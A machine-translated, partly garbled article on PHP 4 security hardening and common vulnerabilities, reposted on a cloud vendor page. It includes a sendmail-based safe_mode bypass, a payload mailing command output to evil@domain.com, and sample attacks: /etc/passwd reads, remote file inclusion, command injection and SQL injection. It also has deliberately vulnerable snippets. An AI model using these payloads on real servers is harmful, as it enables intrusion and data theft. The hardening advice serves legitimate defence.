PHP security issues: Remote Overflow, DoS, and safe_mode bypass vulnerabilities

Source: Internet
Author: User
Tags apache log file php server upload php apache log

PHP security issues: Remote Overflow, DoS, and safe_mode bypass vulnerabilities

I. Web Server Security

PHP is actually a module function of the Web server. Therefore, you must first ensure the security of the Web server. Of course
To ensure the security of Web servers, you must first ensure the security of the system. PHP and a variety
The combination of Web servers is also discussed here. We recommend that you use chroot to install and start Apache.
Apache, PHP, and their scripts have vulnerabilities. Only the banned system is affected, and the actual system is not harmed.
System. However, the use of chroot Apache may also cause some problems to the application. For example, you must use
127.0.0.1 uses tcp connections instead of localhost to implement socket connections, which is slightly less efficient.
The mail function is also a problem because of the following in php. ini:
[Mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
Sendmail_from = me@localhost.com
All are for the Win32 platform, so you need to adjust sendmail in the chroot environment.
Ii. PHP Problems
1. Remote Overflow
All versions below the PHP-4.1.2 have a remote buffer overflow vulnerability in file upload, And the attacker has been widely streaming
The success rate is very high:

Http://packetstormsecurity.org/0204-exploits/7350fun

Http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2. Remote Denial of Service
PHP-4.2.0 and PHP-4.2.1 have remote vulnerability in PHP multipart/form-data POST request processing, although
Local user permissions, but can also cause denial of service.
3. safe_mode Bypass Vulnerability
There is also a PHP mail function that bypasses the safe_mode restriction to execute command leaks from PHP-4.2.2 to PHP-4.0.5 versions
The fifth parameter is added to the mail function in version 4.0.5, because the designer can break through the safe_mode
Restrict the execution of commands. 4.0.5 breakthrough is very simple. You only need to use semicolons to separate and add shell commands,
For example, the PHP script edevil. php exists:

Run the following URL:
Http://foo.com/evil.php? Bar =;/usr/bin/id | mail evil@domain.com
This sends the result of id execution to the evil@domain.com.
For PHP 4.0.6 to 4.2.2, breaking the safe_mode limit is actually using the sendmail-C parameter, so the system must
Use sendmail. The following code breaks through the safe_mode restriction and executes the command:
# Note: The following two must not exist, or their owner is the same as the owner of the script.

$script=”/tmp/script123″;$cf=”/tmp/cf123″;$fd = fopen($cf, “w”);fwrite($fd, “OQ/tmpSparse=0R$*” . chr(9) . “$#local $@ $1 $: $1Mlocal, P=/bin/sh, A=sh $script”);fclose($fd);$fd = fopen($script, “w”);fwrite($fd, “rm -f $script $cf; “);fwrite($fd, $cmd);fclose($fd);mail(“nobody”, “”, “”, “”, “-C$cf”);?>


If you are still using the above problematic PHP version, you must upgrade it to the latest version in time to eliminate the basic security
All problems.
Iii. Security Configuration of PHP itself
PHP configuration is very flexible. You can use the php. ini, httpd. conf,. htaccess file (this directory must be set
AllowOverride All or Options), you can also use ini_set () and its specific
Function. You can use the phpinfo () and get_cfg_var () functions to obtain the values of the configuration options.
If the configuration option is the only PHP_INI_SYSTEM attribute, it must be modified through php. ini and httpd. conf.
They modified the Master value of PHP, but after the modification, apache must be restarted to take effect. Which is set by php. ini
The option is effective for all scripts on the Web server. The option set in httpd. conf is for all scripts in the directory defined by this
This takes effect.
If there are other options for the PHP_INI_USER, PHP_INI_PERDIR, and PHP_INI_ALL attributes
Use the. htaccess file or use the ini_set () function in the script itself.
Value, which takes effect immediately after modification. However,. htaccess only takes effect for the script program in the current directory. The ini_set () function only applies
The code after the ini_set () function is set by the script program takes effect. The option attributes of different versions may be different and can be used
Run the following command to find all the options in the main. c file of the current source code and its attributes:
# Grep PHP_INI _/PHP_SRC/main. c
Before discussing PHP security configuration, you should have a good understanding of the safe_mode mode of PHP.
1. safe_mode
Safe_mode is the unique PHP_INI_SYSTEM attribute and must be set through php. ini or httpd. conf. To enable
Safe_mode, you only need to modify php. ini:
Safe_mode = On
Or modify httpd. conf to define the directory:

Options FollowSymLinks
Php_admin_value safe_mode 1

After apache is restarted, The safe_mode takes effect. When safe_mode is started, many PHP functions are restricted, especially
System-related functions such as file opening and command execution.
Functions of all operation files can only operate files with the same UID as the script. For example, the content of the test. php script is:

The attributes of several files are as follows:
# Ls-la
Total 13
Drwxr-xr-x 2 root 104 Jul 20 0:25.
Drwxr-xr-x 16 root 384 Jul 18 :02 ..

-Rw-r-1 root 4110 Oct 26 2002 index.html
-Rw-r-1 www-data 41 Jul 19 :14 test. php
When you request test. php In the browser, the following error message is displayed:
Warning: safe mode Restriction in effect. The script whose uid/gid is 33/33 is not allowed
Access./index.html owned by uid/gid 0/0 in/var/www/test. php on line 1
If the UID in the directory where the operated file is located is the same as the script UID, the UID of the file can be used even if it is different from the script.
I don't know if this is a PHP vulnerability or not. Therefore, php script owner is the best user.
For this purpose only, it is absolutely forbidden to use root as the owner of the php script, so that the effect of safe_mode is not achieved.
.
If you want to extend it to GID comparison, you can enable safe_mode_gid to compare only the GID of the file.
Set the following options:
Safe_mode_gid = On
After safe_mode is set, all functions executed by the command will be restricted to executing only safe_mode_exec_dir in php. ini.
Specifies the program in the directory, and the command execution method shell_exec and 'LS-l' will be disabled. If you do need to call
With other programs, you can make the following settings in php. ini:
Safe_mode_exec_dir =/usr/local/php/exec
Then copy the program to this directory. Then, the php script can use functions such as system to execute the program. And the Directory
The shell script in can still call system commands in other directories.
Safe_mode_include_dir string
When this directory and Its subdirectories (the directory must be included in include_path or in the full path) contain files
Check the uuid/GID.
Starting from PHP 4.2.0, this command can accept paths in a style similar to the include_path command separated by semicolons,
Not just a directory.
The specified limit is actually a prefix rather than a directory name. This is to say "safe_mode_include_dir =
/Dir/incl will allow access to "/dir/include" and "/dir/incls" if they exist. If you want
Add a slash to the end, for example, "safe_mode_include_dir =/dir/incl /".
Safe_mode_allowed_env_vars string
Setting certain environment variables may be a potential security gap. This command contains a comma-separated prefix list. In security
In this mode, you can only change the environment variables whose names have the prefix provided here. By default, users can only
Set the environment variables starting with PHP _ (for example, PHP_FOO = BAR ).
Note: If this command is empty, PHP allows you to modify any environment variables!
Safe_mode_protected_env_vars string
This command contains a comma-separated list of environment variables. End users cannot use putenv () to change these environments.
Variable. These variables cannot be changed even when safe_mode_allowed_env_vars is set to allow modification.
Although safe_mode is not omnipotent (earlier versions of PHP can be bypassed), it is strongly recommended to enable safe mode.
To some extent, some unknown attacks can be avoided. However, there are many restrictions on enabling safe_mode.
So you still need to adjust the code and configuration to achieve harmony. For functions restricted or blocked by security mode, refer to PHP
Manual.
After discussing the safe_mode, we will discuss how to use the PHP server
To avoid vulnerabilities.
2. Variable misuse
PHP register_globals = On by default. For GET, POST, Cookie, Environment, and Session variables, you can directly
Register as a global variable. Their registration order is variables_order = "EGPCS" (which can be modified using php. ini ),
The right side of the variables_order variable with the same name overwrites the left, so misuse of the variable can easily cause program confusion. And the script
Programmers often do not have the habit of initializing variables, and the following program fragments are vulnerable to attacks:
//test_1.phpif ($pass == “hello”)$auth = 1;if ($auth == 1)echo “some important information”;elseecho “nothing”;?>

Attackers can bypass the check with the following request:

 

Http: // victim/test_1.php? Auth = 1

Although this is a very mentally retarded mistake, some famous programs have also made such a mistake,
We recommend that you disable register_globals when the PHP-4.1.0 is released and provide 7 Special array variables to use various variables
Quantity. Variables such as GET, POST, and COOKIE are not directly registered as variables and must be changed through arrays.
. When the PHP-4.2.0 is released, the default php. ini configuration is register_globals = Off. This makes the program
The default value for PHP Initialization is generally 0, which prevents attackers from controlling the judgment variables.
Solution:
Set register_globals = Off in the configuration file php. ini.
The programmer is required to initialize a value for the variable used as the judgment variable at the beginning of the program.
3. open the file
Vulnerable code snippets:

//test_2.phpif (!($str = readfile(“$filename”))) {echo(“Could not open file: $filename\n”);exit;}else {echo $str;}?>


Because attackers can specify arbitrary $ filename, they can use the following request to view/etc/passwd:

Http: // victim/test_2.php? Filename =/etc/passwd

The following request can read the php file itself:

Http: // victim/test_2.php? Filename = test_2.php

 

In PHP, file opening functions include fopen (), file (), etc. If you do not strictly check the file name variables, the server will be important.
The file is accessed and read.
Solution:
If not, restrict php file operations to the web directory. The following is how to modify the apache configuration file:
An example of httpd. conf:

Php_admin_value open_basedir/usr/local/apache/htdocs

After apache is restarted, the PHP script in the/usr/local/apache/htdocs directory can only operate on files in its own directory.
Otherwise, PHP reports the following error:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
This problem can also be avoided by using the safe_mode mode, which has been discussed earlier.
4. Include files
Vulnerable code snippets:
// Test_3.php
If (file_exists ($ filename ))
Include ("$ filename ");
?>
This irresponsible code can cause considerable harm. Attackers can use the following request to obtain the/etc/passwd file:

 

Http: // victim/test_3.php? Filename =/etc/passwd

If the Windows PHP version does not support remote file opening, attackers can enable the http
Or create a file containing shell commands on the ftp server. The content of http: // attack/attack.txt is
Then the following request can run the ls/etc command on the target host:

Http: // victim/test_3.php? Filename = http: // attack/attack.txt

Attackers can even obtain the code for executing commands by using the apache log File access. log and error. log,
However, it is sometimes difficult to succeed because there is too much interference information.
For another form, the following code snippet:
// Test_4.php
Include ("$ lib/config. php ");
?>
Attackers can create a config. php file on their host that contains the code for executing the command, and then use the following request
You can run the following command on the target host:

Http: // victim/test_4.php? Lib = http: // attack

PHP's include functions include (), include_once (), require (), and require_once. If
If the check is lax, the system may be in serious danger and commands can be executed remotely.
Solution:
It is required that programmers should avoid using variables for parameters in files. If variables are used, they must strictly check whether to include
.
For example, it is necessary to restrict the PHP operation path in the preceding file. In addition, it must be disabled unless otherwise required.
Close the PHP Remote File opening function. Modify the php. ini file:
Allow_url_fopen = Off
Restart apache.
5. File Upload
The file upload mechanism of php stores user-uploaded files in the temporary directory defined by upload_tmp_dir of php. ini.
(The default is the temporary directory of the system, such as:/tmp) in a random temporary file similar to phpxXuoXG, the program runs
The temporary file is also deleted. PHP defines four variables for the uploaded file: (for example, the form variable name is file,
And register_globals is enabled)
$ File # is a temporary file saved to the server (for example,/tmp/phpxXuoXG)
$ File_size # size of the uploaded file
$ File_name # Original Name of the uploaded file
$ File_type # File Upload type
Recommended:
$ HTTP_POST_FILES ['file'] ['tmp _ name']
$ HTTP_POST_FILES ['file'] ['SIZE']
$ HTTP_POST_FILES ['file'] ['name']
$ HTTP_POST_FILES ['file'] ['type']
This is the simplest file upload code:
// Test_5.php
If (isset ($ upload) & $ file! = "None "){
Copy ($ file, "/usr/local/apache/htdocs/upload/". $ file_name );
Echo "File". $ file_name. "uploaded successfully! Click "Continue upload ";
Exit;
}
?>

<Html> 


This upload code has a major problem of reading arbitrary files and executing commands.
The following request can copy the/etc/passwd file to the web directory/usr/local/apache/htdocs/test (Note: This
The directory must be nobody and can be written to the attack.txt file in the current directory:

 

Http: // victim/test_5.php? Upload = 1 & file =/etc/passwd&file_name=attack.txt

 

Then, you can use the following request to read the password file:

 

Http: // victim/test/attack.txt

Attackers can copy php files to other extensions to leak the script source code.
Attackers can customize the value of the file_name variable in the form to upload any file with write permission.
Attackers can also upload PHP scripts to execute host commands.
Solution:
The is_uploaded_file and move_uploaded_file functions are provided after the PHP-4.0.3 to check whether the operated file is
Is a File Uploaded by the user, so as to avoid copying the system file to the web directory.
Use the $ HTTP_POST_FILES array to read the file variables uploaded by the user.
Strictly check the uploaded variables. For example, php script files are not allowed.
Limiting PHP script operations to the web directory can prevent programmers from using the copy function to copy system files to the web directory.
. Move_uploaded_file is not restricted by open_basedir, so you do not need to modify upload_tmp_dir in php. ini.
.
Use phpencode to encrypt the PHP script to avoid leaking the source code due to the copy operation.
Strictly configure the file and directory permissions. Only the uploaded directory is allowed to be writable by the nobody user.
You can modify httpd. conf to remove the PHP explanation function from the upload directory:

Php_flag engine off
# Replace php3 with php3_engine off

Restart apache. The php file in the upload directory cannot be interpreted by apache.
The source code can only be displayed.
6. Command Execution
The following code snippet is extracted from PHPNetToolpack. For details, see:

Http://www.securityfocus.com/bid/4303

// Test_6.php
System ("traceroute $ a_query", $ ret_strs );
?>
Because the program does not filter $ a_query variables, attackers can use semicolons to append and execute commands.
The attacker can run the cat/etc/passwd command in the following request:
Http: // victim/test_6.php? A_query = www.example.com; cat/etc/passwd
PHP Command Execution functions include system (), passthru (), popen (), and. It is very dangerous to execute a function by using commands with caution.
If you want to use it, you must strictly check the user input.
Solution:
Programmers are required to use the escapeshellcmd () function to filter shell commands entered by users.
Enabling safe_mode can prevent many command execution problems, but note that the PHP version must be the latest,
Less than the PHP-4.2.2 may bypass the limits of safe_mode to execute the command.
7. SQL _inject
If the following SQL statement does not process the variable, the problem will occur:
Select * from login where user = '$ user' and pass =' $ pass'
Attackers can enter 1' or 1 = '1 for both user names and passwords to bypass verification.
Fortunately, PHP has a default option magic_quotes_gpc = On, which enables,
The addslashes () operation is automatically added to the variables in the COOKIE. The preceding SQL statement is changed:
Select * from login where user = '1 \ 'or 1 = \ '1' and pass = '1 \' or 1 = \ '1 ′
This prevents such SQL _inject attacks.
For numeric fields, many programmers write as follows:
Select * from test where id = $ id
Because the variables are not expanded with single quotes, SQL _inject attacks will occur. Thanks to the simple functions of MySQL, no
Sqlserver and other databases have SQL statements that execute commands, and the mysql_query () function of PHP can only be executed
One SQL statement, so the attack of separating Multiple SQL statements with semicolons cannot work. However, attackers can at least
Make query statement errors, leak some information about the system, or unexpected situations.
Solution:
Programmers are required to filter the variables submitted by all users to be placed in SQL statements.
Even for numeric fields, variables must be expanded in single quotes. MySQL will process the strings as numbers.
In MySQL, users with high-level permissions of PHP programs are not allowed to operate their own libraries. This avoids
The program encountered a problem... This attack.
8. Warnings and error messages
By default, PHP displays all warnings and error messages:
Error_reporting = E_ALL &~ E_NOTICE
Display_errors = On
This is very useful during development and debugging. You can immediately find the program error based on the warning information.
During the official application, warnings and error messages make users confused, and the attacker leaked the physical path of the script,
It provides favorable information for further attacks. In addition, you cannot access the wrong location.
Modify program errors in time. Therefore, it is wise to record all PHP warnings and error messages to a log file.
That is, it does not expose the physical path to attackers, but also allows them to know where program errors are.
Modify Error handling and logging in php. ini:
Error_reporting = E_ALL
Display_errors = Off
Log_errors = On
Error_log =/usr/local/apache/logs/php_error.log
Restart apache. Note that the file/usr/local/apache/logs/php_error.log must be writable by the nobody user.
9. disable_functions
If you think there are threats to some functions, you can set disable_functions in php. ini (this option cannot be found in
Httpd. conf), for example:
Disable_functions = phpinfo, get_assist_var
You can specify multiple functions separated by commas. After apache is restarted, phpinfo and get_cfg_var functions are disabled. Create
Disable the phpinfo and get_cfg_var functions. These two functions are easy to leak server information and are of no practical use.
10. disable_classes
This option is available only from the PHP-4.3.2 and can disable some classes if multiple class names are separated by commas.
Disable_classes cannot be set in httpd. conf, but can only be modified in the php. ini configuration file.
11. open_basedir
The preceding analysis routine also mentioned multiple times that open_basedir is used to restrict the script operation path. Here we will introduce it again.

Its features. The restriction specified by open_basedir is actually a prefix, not a directory name. That is to say, "open_basedir
=/Dir/incl "will also allow access to"/dir/include "and"/dir/incls "if they exist. If you want
Only the specified directory is restricted. End the path with a slash. For example, "open_basedir =/dir/incl /".
You can set multiple directories. In Windows, separate directories with semicolons. Use colons to separate directories in any other system.
As an Apache module, the open_basedir path in the parent directory is automatically inherited.
IV. Other security configurations
1. Cancel the read and write permissions of other users for common and important system commands.
Generally, administrators only need one common user and management user to perform and access operations for other users.
The less you want to ask, the better. You can cancel the read and write permissions of other users for common and important system commands.
This can cause a lot of confusion to the attackers. Remember to remove the read-only permission. Otherwise
In linux, run/lib/ld-linux. so.2/bin/ls.
If you want to cancel a job in the chroot environment, this job is easier to implement. Otherwise, this job is still somewhat
Challenges. Canceling the execution permission of some programs will cause some services to run abnormally. PHP mail function requirements
/Bin/sh calls sendmail to send mail, so the execution permission of/bin/bash cannot be removed. This is a very tiring job.
,
2. Remove the read permission of other apache log users.
Apache access-log provides a convenient way for some programs with local vulnerabilities. Include PHP by submitting
The URL of the Code that allows access-log to contain PHP code. You can direct the contained file to access-log to execute
PHP code to obtain local access permissions.
If there are other virtual hosts, you should also remove the read permission of other users of the log file.
Of course, if you configure PHP as described earlier, you will not be able to read log files.

 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.